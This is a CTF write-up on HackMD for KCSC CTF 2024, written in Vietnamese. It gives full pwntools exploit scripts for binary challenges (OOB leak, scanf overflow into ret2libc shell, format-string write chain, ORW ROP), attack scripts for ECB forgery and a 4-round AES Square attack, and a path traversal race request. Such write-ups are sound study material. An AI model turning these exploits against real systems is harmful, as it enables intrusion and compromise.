endy
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Versions and GitHub Sync Note Insights Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       owned this note    owned this note      
    Published Linked with GitHub
    Subscribed
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    Subscribe
    # Team Limbo - Writeup KCSC CTF 2024 ## Pwn ### Petshop #### Ý tưởng - Sử dụng OOB để leak exe.address --> sử dụng bug fmt của `scanf` để BOF leak libc.address --> tiếp tục sử dụng bug fmt của `scanf` để ret2libc #### Phân tích ##### Leak exe.address - Ở chall này, thì đầu tiên ta có bug OOB ở hàm `buy` ```c int v6; // [rsp+1Ch] [rbp-424h] BYREF ... if ( (unsigned int)__isoc99_sscanf(a1, "%3s %d", s1, &v6) != 2 ) ... if ( v6 > 3 ) { puts("Invalid type of dog!"); v2 = pet_list; pet_list[pet_count] = 0LL; return (int)v2; } *(_QWORD *)pet_list[pet_count] = (&dogs)[v6];// leak ``` - Chall không check điều kiện `v6 < 0` nên ta có thể tìm con trỏ để leak exe.address và có 1 con trỏ chúng ta có thể sử dụng được ![image](https://hackmd.io/_uploads/rkfoutkX0.png) ```c buy(-2) infoo() p.recvuntil(b'1. ') exe.address = u64(p.recv(6) + b'\0\0') - 0x4008 info("exe.address " + hex(exe.address)) ``` ##### Leak libc.address bằng BOF ở bug fmt của scanf - Sau khi mình tìm hiểu ở [pwn> scanf and hateful dot](https://rehex.ninja/posts/scanf-and-hateful-dot/) thì mình hiểu như sau. Với `%d` và mình sử dụng `.` thì sẽ không ghi vào biến. Nghĩa là nếu lần đầu tiên mình sửa dụng `scanf` nhập vào `1234` và lần thứ hai mình nhập `.` thì biến đó vẫn có giá trị là `1234` ```c pop_rdi = exe.address + 0x0000000000001a13 buy(0) sell(0) sla(b'You --> ', str(0x300)) sell(1) sa(b'You --> ', '.') sla(b'You --> ', b'a'*0x200 + flat(0, pop_rdi, exe.got.puts, exe.plt.puts, exe.sym.main)) p.recvuntil(b'That seems reasonable!\n') libc.address = u64(p.recv(6) + b'\0\0') - libc.sym.puts info("libc.address: " + hex(libc.address)) ``` ##### RET2LIBC ```c buy(-2) buy(0) sell(2) sla(b'You --> ', str(0x300)) sell(3) sa(b'You --> ', '.') sla(b'You --> ', b'a'*0x200 + flat(0, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh')), libc.sym.system)) ``` #### Script - - `KCSC{0h_n0_0ur_p3t_h4s_bug?!????????????????????}` ```python #!/usr/bin/python3 from pwn import * exe = ELF('petshop_patched', checksec=False) libc = ELF('libc.so.6', checksec=False) context.binary = exe def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' brva 0x1637 c ''') input() def info(msg): return log.info(msg) def sla(msg, data): return p.sendlineafter(msg, data) def sa(msg, data): return p.sendafter(msg, data) def sl(data): return p.sendline(data) def s(data): return p.send(data) if args.REMOTE: p = remote('103.163.24.78', 10001) else: p = process(exe.path) def buy(idx): sla(b'You --> ', 'buy cat ' + str(idx)) sla(b'You --> ', b'wan') def sell(idx): sla(b'You --> ', 'sell ' + str(idx)) def infoo(): sla(b'You --> ', 'info mine') buy(-2) infoo() p.recvuntil(b'1. ') exe.address = u64(p.recv(6) + b'\0\0') - 0x4008 info("exe.address " + hex(exe.address)) pop_rdi = exe.address + 0x0000000000001a13 buy(0) sell(0) sla(b'You --> ', str(0x300)) sell(1) sa(b'You --> ', '.') sla(b'You --> ', b'a'*0x200 + flat(0, pop_rdi, exe.got.puts, exe.plt.puts, exe.sym.main)) p.recvuntil(b'That seems reasonable!\n') libc.address = u64(p.recv(6) + b'\0\0') - libc.sym.puts info("libc.address: " + hex(libc.address)) GDB() buy(-2) buy(0) sell(2) sla(b'You --> ', str(0x300)) sell(3) sa(b'You --> ', '.') sla(b'You --> ', b'a'*0x200 + flat(0, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh')), libc.sym.system)) p.interactive() ``` ### KCSCBanking #### Ý tưởng - Sử dụng fmt để get shell #### Phân tích - Ta có bug fmt ở hàm `info` ```c int info() { printf(name); return printf("Money: %u\n", (unsigned int)bank); } ``` - Khi mình đặt breakpoint ở `print(name)` thì trong stack như sau ![image](https://hackmd.io/_uploads/HklauFJ7R.png) - Như vậy password mình sẽ đưa vào các địa chỉ và username mình sẽ dùng %n để ghi vào các địa chỉ ấy ##### script - `KCSC{st1ll_buff3r_0v3rfl0w_wh3n_h4s_c4n4ry?!?}` ```python #!/usr/bin/python3 from pwn import * exe = ELF('banking_patched', checksec=False) libc = ELF('libc.so.6', checksec=False) context.binary = exe def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' brva 0x1656 c ''') input() def info(msg): return log.info(msg) def sla(msg, data): return p.sendlineafter(msg, data) def sa(msg, data): return p.sendafter(msg, data) def sl(data): return p.sendline(data) def s(data): return p.send(data) if args.REMOTE: p = remote('103.163.24.78', 10002) else: p = process(exe.path) GDB() def reg(name, passs='a'): sla(b'> ', b'2') sla(b': ', b'aaaaaaaa') sla(b': ', passs) sla(b': ', name) def login(passs='a'): sla(b'> ', b'1') sla(b': ', b'aaaaaaaa') sla(b': ', passs) def infoo(): sla(b'> ', b'3') def out(): sla(b'> ', b'4') sla(b': ', b'2') # leak libc, stack reg("%49$p|%6$p|") login() infoo() libc.address = int(p.recvuntil(b"|", drop=True), 16) - 0x23a90 stack = int(p.recvuntil(b"|", drop=True), 16) + 0x28 info("libc.addres: " + hex(libc.address)) info("libc.addres: " + hex(stack)) pop_rdi = 0x00000000000240e5 + libc.address ret = pop_rdi + 1 binsh = next(libc.search(b'/bin/sh')) system = libc.sym.system # write ret package = { ret & 0xffff: stack, ret >> 16 & 0xffff: stack+2, ret >> 32 & 0xffff: stack+4, } order = sorted(package) pa1 = p64(package[order[0]]) + p64(package[order[1]]) + p64(package[order[2]]) pa2 = f'%{order[0]}c%20$hn%{order[1]-order[0]}c%21$hn%{order[2]-order[1]}c%22$hn'.encode() out() reg(pa2, pa1) login(pa1) infoo() stack += 8 # write pop rdi package = { pop_rdi & 0xffff: stack, pop_rdi >> 16 & 0xffff: stack+2, pop_rdi >> 32 & 0xffff: stack+4, } order = sorted(package) pa1 = p64(package[order[0]]) + p64(package[order[1]]) + p64(package[order[2]]) pa2 = f'%{order[0]}c%20$hn%{order[1]-order[0]}c%21$hn%{order[2]-order[1]}c%22$hn'.encode() out() reg(pa2, pa1) login(pa1) infoo() stack += 8 # write binsh package = { binsh & 0xffff: stack, binsh >> 16 & 0xffff: stack+2, binsh >> 32 & 0xffff: stack+4, } order = sorted(package) pa1 = p64(package[order[0]]) + p64(package[order[1]]) + p64(package[order[2]]) pa2 = f'%{order[0]}c%20$hn%{order[1]-order[0]}c%21$hn%{order[2]-order[1]}c%22$hn'.encode() out() reg(pa2, pa1) login(pa1) infoo() stack += 8 # write system package = { system & 0xffff: stack, system >> 16 & 0xffff: stack+2, system >> 32 & 0xffff: stack+4, } order = sorted(package) pa1 = p64(package[order[0]]) + p64(package[order[1]]) + p64(package[order[2]]) pa2 = f'%{order[0]}c%20$hn%{order[1]-order[0]}c%21$hn%{order[2]-order[1]}c%22$hn'.encode() out() reg(pa2, pa1) login(pa1) infoo() # get shell sla(b'> ', b'3') out() sla(b'> ', b'3') p.interactive() ``` ### Simple Qiling #### Ý tưởng - Qiling là một máy ảo khá tương tự QEMU, do vậy cũng có một điều lạ khi và cần debug - `Open-Read-Write` #### Phân tích - Đầu tiên mình sửa file `qi.py` để có thể debug ```python #!/usr/bin/env python3 import qiling from qiling.const import QL_VERBOSE import sys if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <ELF>") sys.exit(1) cmd = [sys.argv[1]] ql = qiling.Qiling(cmd, console=False, rootfs='.', verbose=QL_VERBOSE.OFF) ql.debugger = True ql.debugger = "gdb:127.0.0.1:9999" ql.run() ``` - File solve.py ```python #!/usr/bin/python3 from pwn import * exe = ELF('simpleqiling_patched', checksec=False) libc = ELF('libc.so.6', checksec=False) context.binary = exe def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' c ''') input() def info(msg): return log.info(msg) def sla(msg, data): return p.sendlineafter(msg, data) def sa(msg, data): return p.sendafter(msg, data) def sl(data): return p.sendline(data) def s(data): return p.send(data) if args.REMOTE: p = remote('103.163.24.78', 10010) else: p = process("python3 qi.py simpleqiling_patched".split()) # GDB() pa = b'a'*8*5 sa(b'say', pa) ########## p.interactive() ``` - Ban đầu mình dùng gdb để remote debug nhưng không được nên mình thử debug bằng IDA ![image](https://hackmd.io/_uploads/SkkkFK1XC.png) - Mình thử gửi 40 byte 'a' và xem stack như thế nào. ![image](https://hackmd.io/_uploads/BkhyKYkXC.png) - Mình thấy khá giống QEMU ở chỗ pie tắt, canary phụ thuộc vào các byte mình nhập - Và do pie tắt, mình tìm được các gadget có ích sau ```python libc.address = 0x00007FFFB7DFA083-0x24083 pop_rdi = 0x555555554000 + 0x0000000000001473 pop_rsi_r15 = 0x0000000000001471 + 0x555555554000 pop_rdx = libc.address + 0x0000000000142c92 pop_rax = libc.address + 0x0000000000036174 pltputs = 0x5555555550a0 pltread = 0x5555555550d0 main = 0x555555555314 syscall = libc.address + 0x00000000000630a9 ``` - Đến đây mình có ý tưởng mình sẽ read `flag.txt` vào environ và open-read-write. Do trong giải mình thử một số cách khác nhưng không được và gặp khá nhiều lỗi. #### script - `KCSC{q3mu_vs_q1l1ng_wh1ch_1_1s_b3tt3r}` ```python #!/usr/bin/python3 from pwn import * exe = ELF('simpleqiling_patched', checksec=False) libc = ELF('libc.so.6', checksec=False) context.binary = exe def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' c ''') input() def info(msg): return log.info(msg) def sla(msg, data): return p.sendlineafter(msg, data) def sa(msg, data): return p.sendafter(msg, data) def sl(data): return p.sendline(data) def s(data): return p.send(data) if args.REMOTE: p = remote('103.163.24.78', 10010) else: p = process("python3 qi.py simpleqiling_patched".split()) # GDB() libc.address = 0x00007FFFB7DFA083-0x24083 pop_rdi = 0x555555554000 + 0x0000000000001473 pop_rsi_r15 = 0x0000000000001471 + 0x555555554000 pop_rdx = libc.address + 0x0000000000142c92 pop_rax = libc.address + 0x0000000000036174 pltputs = 0x5555555550a0 pltread = 0x5555555550d0 main = 0x555555555314 syscall = libc.address + 0x00000000000630a9 pa = b'a'*8*5 + p64(0x6161616161616100) pa += flat(0, # read pop_rdi+1, pop_rdi, 0, pop_rsi_r15, libc.sym.environ, 0, pop_rdx, 0x10, pltread, # open pop_rdi, libc.sym.environ, pop_rax, 0x2, pop_rsi_r15, 0, 0, pop_rdx, 0, syscall, main) sa(b'say', pa) print(len(pa)) sleep(1) s(b'./flag.txt\0') ########## pa = b'a'*8*5 + p64(0x6161616161616100) pa += flat(0, pop_rdi+1, pop_rdi, 3, pop_rsi_r15, libc.sym.environ, 0, pop_rdx, 0x100, pltread, pop_rdi, 1, pop_rax, 0x1, pop_rsi_r15, libc.sym.environ, 0, pop_rdx, 0x100, syscall, main ) sa(b'say', pa) p.interactive() ``` ## Crypto ### **Evil ECB** ```solidity from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from os import urandom import json import socket import threading flag = 'KCSC{s0m3_r3ad4ble_5tr1ng_like_7his}' menu = ('\n\n|---------------------------------------|\n' + '| Welcome to Evil_ECB! |\n' + '| Maybe we can change the Crypto world |\n' + '| with a physical phenomena :D |\n' + '|---------------------------------------|\n' + '| [1] Login |\n' + '| [2] Register ^__^ |\n' + '| [3] Quit X__X |\n' + '|---------------------------------------|\n') bye = ( '[+] Closing Connection ..\n'+ '[+] Bye ..\n') class Evil_ECB: def __init__(self): self.key = urandom(16) self.cipher = AES.new(self.key, AES.MODE_ECB) self.users = ['admin'] def login(self, token): try: data = json.loads(unpad(self.cipher.decrypt(bytes.fromhex(token)), 16).decode()) if data['username'] not in self.users: return '[-] Unknown user' if data['username'] == "admin" and data["isAdmin"]: return '[+] Hello admin , here is your secret : %s\n' % flag return "[+] Hello %s , you don't have any secret in our database" % data['username'] except: return '[-] Invalid token !' def register(self, user): if user in self.users: return '[-] User already exists' data = b'{"username": "%s", "isAdmin": false}' % (user.encode()) token = self.cipher.encrypt(pad(data, 16)).hex() self.users.append(user) return '[+] You can use this token to access your account : %s' % token class ThreadedServer(object): def __init__(self, host, port): self.host = host self.port = port self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.sock.bind((self.host, self.port)) def listen(self): self.sock.listen(5) while True: client, address = self.sock.accept() client.settimeout(60) threading.Thread(target = self.listenToClient,args = (client,address)).start() def listenToClient(self, client, address): size = 1024 chal = Evil_ECB() client.send(menu.encode()) for i in range(10): try: client.send(b'> ') choice = client.recv(size).strip() if choice == b'1': client.send(b'Token: ') token = client.recv(size).strip().decode() client.send(chal.login(token).encode() + b'\n') elif choice == b'2': client.send(b'Username: ') user = client.recv(size).strip().decode() client.send(chal.register(user).encode() + b'\n') elif choice == b'3': client.send(bye.encode()) client.close() else: client.send(b'Invalid choice!!!!\n') client.close() except: client.close() return False client.send(b'No more rounds\n') client.close() if __name__ == "__main__": ThreadedServer('',2003).listen() ``` Mục tiêu của ta là lợi dụng chức năng `Register` để có thể lấy được token khi decrypt sẽ thỏa điều kiện `data['username'] == "admin" and data["isAdmin"]` , điểm cần lưu ý là token là ciphertext được mã hóa bằng ECB của data có dạng: ```solidity data = b'{"username": "%s", "isAdmin": false}' % (user.encode()) ``` với `username` là input của ta. Vì ECB mã hóa 16 block riêng biệt nên ta chỉ cần chọn username như sau: ```solidity username = aa{"username": "admin", "isAdmin": true, "a": "a"} ``` Lúc này các block của data như sau: ```solidity {"username": "aa - block 0 {"username": "ad - block 1 min", "isAdmin": - block 2 true, "a": "a"} - block 3 ... ``` Nếu ta chỉ lấy token là block 1,2,3 và bỏ đi các block còn lại thì sau khi decrypt sẽ có dạng như sau: ```solidity {"username": "admin", "isAdmin": true, "a": "a"} ``` Việc tiếp theo là lấy ciphertext của phần padding, việc này khá đơn giản thông qua việc gửi username sao cho độ dài của data là bội của 16 và giữ lại 16 bytes cuối cùng của ciphertext, cuối cùng là nối với token ở trên ta sẽ login thành công với điều kiện ở trên. ```solidity user = b'aa{"username": "admin", "isAdmin": true, "a": "a"}' conn = remote('103.163.24.78', 2003) conn.recvuntil('> ') conn.sendline(b'2') conn.recvuntil('Username: ') conn.sendline(user) conn.recvuntil('[+] You can use this token to access your account : ') data = conn.recvline().strip().decode() conn.recvuntil('> ') conn.sendline(b'2') conn.recvuntil('Username: ') conn.sendline(b'aaaaaaaaaaaaaa') conn.recvuntil('[+] You can use this token to access your account : ') enc_pad = conn.recvline().strip().decode()[-32:] conn.sendlineafter(b'> ', b'1') conn.sendlineafter(b'Token: ', (data[16*2: 64*2] + enc_pad).encode()) conn.interactive() ``` ```solidity [+] Hello admin , here is your secret : KCSC{eCb_m0de_1s_4lways_1nSecUre_:))} ``` ### **Don Copper** ```solidity import random from Crypto.Util.number import getPrime NBITS = 2048 def pad(msg, nbits): """msg -> trash | 0x00 | msg""" pad_length = nbits - len(msg) * 8 - 8 assert pad_length >= 0 pad = random.getrandbits(pad_length).to_bytes((pad_length+7) // 8, "big") return pad + b"\x00" + msg if __name__ == '__main__': p = getPrime(NBITS//2) q = getPrime(NBITS//2) n = p*q e = 3 print('n =',n) flag = b'KCSC{s0m3_r3ad4ble_5tr1ng_like_7his}' flag1 = int.from_bytes(pad(flag[:len(flag)//2], NBITS-1), "big") flag2 = int.from_bytes(pad(flag[len(flag)//2:], NBITS-1), "big") print(pad(flag[:len(flag)//2], NBITS-1)) print(pad(flag[len(flag)//2:], NBITS-1)) print('c1 =', pow(flag1, e, n)) print('c2 =', pow(flag2, e, n)) print('c3 =', pow(flag1 + flag2 + 2024, e, n)) ''' n = 20309506650796881616529290664036466538489386425747108847329314416833872927305399144955238770343216928093685748677981345624111315501596571108286475815937548732237777944966756121878930547704154830118623697713050651175872498696886388591990290649008566165706882183536432074074093989165129982027471595363186012032012716786766898967178702932387828604019583820419525077836905310644900660107030935400863436580408288191459013552406498847690908648207805504191001496170310089546275003489343333654260825796730484675948772646479183783762309135891162431343426271855443311093315537542013161936068129247159333498199039105461683433559 c1 = 4199114785395079527708590502284487952499260901806619182047635882351235136067066118088238258758190817298694050837954512048540738666568371021705303034447643372079128117357999230662297600296143681452520944664127802819585723070008246552551484638691165362269408201085933941408723024036595945680925114050652110889316381605080307039620210609769392683351575676103028568766527469370715488668422245141709925930432410059952738674832588223109550486203200795541531631718435391186500053512941594901330786938768706895275374971646539833090714455557224571309211063383843267282547373014559640119269509932424300539909699047417886111314 c2 = 15650490923019220133875152059331365766693239517506051173267598885807661657182838682038088755247179213968582991397981250801642560325035309774037501160195325905859961337459025909689911567332523970782429751122939747242844779503873324022826268274173388947508160966345513047092282464148309981988907583482129247720207815093850363800732109933366825533141246927329087602528196453603292618745790632581329788674987853984153555891779927769670258476202605061744673053413682672209298008811597719866629672869500235237620887158099637238077835474668017416820127072548341550712637174520271022708396652014740738238378199870687994311904 c3 = 18049611726836505821453817372562316794589656109517250054347456683556431747564647553880528986894363034117226538032533356275073007558690442144224643000621847811625558231542435955117636426010023056741993285381967997664265021610409564351046101786654952679193571324445192716616759002730952101112316495837569266130959699342032640740375761374993415050076510886515944123594545916167183939520495851349542048972495703489407916038504032996901940696359461636008398991990191156647394833667609213829253486672716593224216112049920602489681252392770813768169755622341704890099918147629758209742872521177691286126574993863763318087398 ''' ``` tổng quan thì ta có hệ phương trình như sau trong Zmod(n): ```solidity x^3 = c1 y^3 = c2 (x + y + 2024)^3 = c3 ``` Để giải hệ trên, ta có thể sử dụng Gröbner basis, một phương pháp dùng đơn giản tập sinh của một ideal trong một vành đa thức. ```solidity P.<x,y> = PolynomialRing(Zmod(n),order='lex') I = P.ideal([ x^3 - c1, y^3 - c2, (x + y + 2024)^3 - c3 ]) for eq in I.groebner_basis(): print(eq) ``` ```solidity KCSC{W0rk1ng_w1th_p0lyn0m14ls_1s_34sy_:D} ``` ### **KCSC Square** ```solidity from os import urandom from aes import AES import socket import threading flag = 'KCSC{s0m3_r3ad4ble_5tr1ng_like_7his}' menu = ('\n\n|---------------------------------------|\n' + '| Welcome to KCSC Square! |\n' + '| I know it\'s late now but |\n' + '| Happy Reunification Day :D |\n' + '|---------------------------------------|\n' + '| [1] Get ciphertext |\n' + '| [2] Guess key ^__^ |\n' + '| [3] Quit X__X |\n' + '|---------------------------------------|\n') bye = ( '[+] Closing Connection ..\n'+ '[+] Bye ..\n') class ThreadedServer(object): def __init__(self, host, port): self.host = host self.port = port self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.sock.bind((self.host, self.port)) def listen(self): self.sock.listen(5) while True: client, address = self.sock.accept() client.settimeout(60) threading.Thread(target = self.listenToClient,args = (client,address)).start() def listenToClient(self, client, address): size = 1024 key = b'a'*16 chal = AES(key) client.send(menu.encode()) for i in range(8888): try: client.send(b'> ') choice = client.recv(size).strip() if choice == b'1': client.send(b'Plaintext in hex: ') hex_pt = client.recv(size).strip().decode() try: pt = bytes.fromhex(hex_pt) assert len(pt) == 16 except: client.send(b'Something wrong in your plaintext' + b'\n') continue client.send(chal.encrypt(pt).hex().encode() + b'\n') elif choice == b'2': client.send(b'Key in hex: ') hex_key = client.recv(size).strip().decode() try: guess_key = bytes.fromhex(hex_key) assert guess_key == key except: client.send(b'Wrong key, good luck next time =)))' + b'\n') client.close() client.send(b'Nice try, you got it :D!!!! Here is your flag: ' + flag.encode() + b'\n') client.close() elif choice == b'3': client.send(bye.encode()) client.close() else: client.send(b'Invalid choice!!!!\n') client.close() except: client.close() return False client.send(b'No more rounds\n') client.close() if __name__ == "__main__": ThreadedServer('',2015).listen() ``` Để có được flag, ta cần đoán được key thông qua các ciphertext được sever cung cấp ứng với plaintext mà ta chọn. Điểm đặc biệt là thuật toán AES trong challenge chỉ có 4 round và ta có thể nghĩ này đến **AES 4-round Square attack** - một kỹ thuật tấn công đã được đề cập từ một số bài ctf trước đây như: https://hackmd.io/@m1dm4n/wannagame2022#Weirdaaaaeeees https://github.com/p4-team/ctf/tree/master/2016-03-12-0ctf/peoples_square https://gist.github.com/Edward-L/c6483f2c678bbcb0725e51e5a0934fef Lý thuyết được đề cập tại: https://www.davidwong.fr/blockbreakers/square_2_attack4rounds.html Do đó ta chỉ cần dựa trên những tài liệu trên và viết script exploit: mình sửa lại source của https://hackmd.io/@m1dm4n/wannagame2022#Weirdaaaaeeees một tí ```solidity from tqdm import tqdm def round2master(rk): Nr = 4 Nk = 4 Nb = 4 w = [] for i in range(Nb*(Nr+1)): w.append([0, 0, 0, 0]) i = 0 while i < Nk: w[i] = [rk[4*i], rk[4*i+1], rk[4*i+2], rk[4*i+3]] i = i+1 j = Nk while j < Nb*(Nr+1): if (j % Nk) == 0: w[j][0] = w[j-Nk][0] ^ sbox[w[j-1][1] ^ w[j-2][1]] ^ Rcon[Nr - j//Nk][0] for i in range(1, 4): w[j][i] = w[j-Nk][i] ^ sbox[w[j-1][(i+1) % 4] ^ w[j-2][(i+1) % 4]] else: w[j] = XorWords(w[j-Nk], w[j-Nk-1]) j = j+1 m = [] for i in range(16, 20): for j in range(4): m.append(w[i][j]) return m def backup(ct, byteGuess, byteIndex): t = ct[byteIndex] ^ byteGuess return invsbox[t] def integrate(index): potential = [] for candidateByte in range(256): sum = 0 for ciph in ciphertexts: oneRoundDecr = backup(ciph, candidateByte, index) sum ^= oneRoundDecr # print(sum) if sum == 0: potential.append(candidateByte) # exit(1) return potential from tqdm import tqdm def integral(): candidates = [] for i in range(16): ciphertexts = [] pt = bytearray(b'\x00'*16) for j in tqdm(range(256)): io.recvuntil(b'> ') pt[i] = j io.sendline(b'1') io.sendline(bytes(pt).hex().encode()) io.recvuntil(b'Plaintext in hex: ') ct = io.recvline().strip().decode() ciphertexts.append(bytearray(bytes.fromhex(ct))) candidates.append(integrate(i, ciphertexts)) print('candidates', candidates) for roundKey in product(*candidates): masterKey = round2master(roundKey) plain1 = bytes(decrypt4rounds(ciphertexts[0], masterKey)) plain2 = bytes(decrypt4rounds(ciphertexts[1], masterKey)) if plain2[:4] in plain1[:4]: print('solved:', masterKey) return masterKey io = remote('103.163.24.78', 2004) key = integral() print(key) io.sendlineafter(b'> ', b'2') io.sendlineafter(b'Key in hex: ', (bytes(key).hex()).encode()) io.interactive() io.close() io = remote('103.163.24.78', 2004) key = integral() print(key) io.sendlineafter(b'> ', b'2') io.sendlineafter(b'Key in hex: ', (bytes(key).hex()).encode()) io.interactive() io.close() ``` ```solidity Nice try, you got it :D!!!! Here is your flag: KCSC{Sq4re_4tt4ck_ez_2_uNderSt4nd_4nD_1mPlement_R1ght?_:3} ``` ## Forensics ### Externet Inplorer Bài này cho mình một url và yêu cầu tìm timestamp với định dạng flag sẽ là `KCSC{yyyy-mm-dd_hh:mm:ss.milisec}` Giá trị lưu trữ timestamp trong url được gọi là Page Load Date/Time ( hay ved= value), giá trị này hơi khó tính toán một xíu vì nó sử dụng Google Protocol Buffers để lưu trữ. Thật ra có 2 giá trị timestamp, nhưng bài để là lúc url này được search nên giá trị sẽ là Page Load Date/Time. Mình search google để tìm cách parse url thì tìm thấy tool này. Sau khi serach thì mình thu được timestamp như sau : ![image](https://hackmd.io/_uploads/Sk_UEZZmA.png) `Flag:KCSC{2023-09-18_08:32:22.547027}` ## Web ### Bài Ka Tuổi Trẻ Bài này mục đích đơn giản là đọc được flag.txt bằng path traversal tại param filename. Tuy nhiên nội dung param filename đã bị filter mất chữ "flag". Để ý kỹ src code thì thấy được trước khi check filename thì chương trình đã mở file trước. Do đó ý tưởng là lợi dụng fd để race condition và đọc được file flag. Đầu tiên để tìm được pid của process python cũng như là pid của file flag.txt được mở do hàm open mình sẽ race liên tục request đọc flag.txt và debug trên docker. ![image](https://hackmd.io/_uploads/HkRrjol7A.png) Ta sẽ thấy pid của flag.txt luôn là 10, tuy nhiên pid của process python sẽ giao động từ 7-9. Để ý kỹ phần config nginx của challage ta sẽ thấy chall đã limit 10req/s. Nên cho dù có gửi request nhanh đến như thế nào cũng không giúp ích được gì. Để khiến việc race dễ dàng thành công hơn thì mình sẽ thêm thật nhiều `../` vào nhằm mục đích khiến code xử lý path trở nên chậm hơn từ đó có thể dễ dàng race. Ta thử intruder request sau: ``` GET /?file=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../flag.txt HTTP/1.1 Host: localhost:8888 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: close Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 ``` Kết quả debug tại docker: ![image](https://hackmd.io/_uploads/Hk9u3jg7C.png) Hầu như lúc nào cũng sẽ tồn tại 3 pid mở flag.txt. Việc còn lại chỉ cần thêm 1 intruder đọc đến pid này Kết quả: ![image](https://hackmd.io/_uploads/SJDpnilmA.png)

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

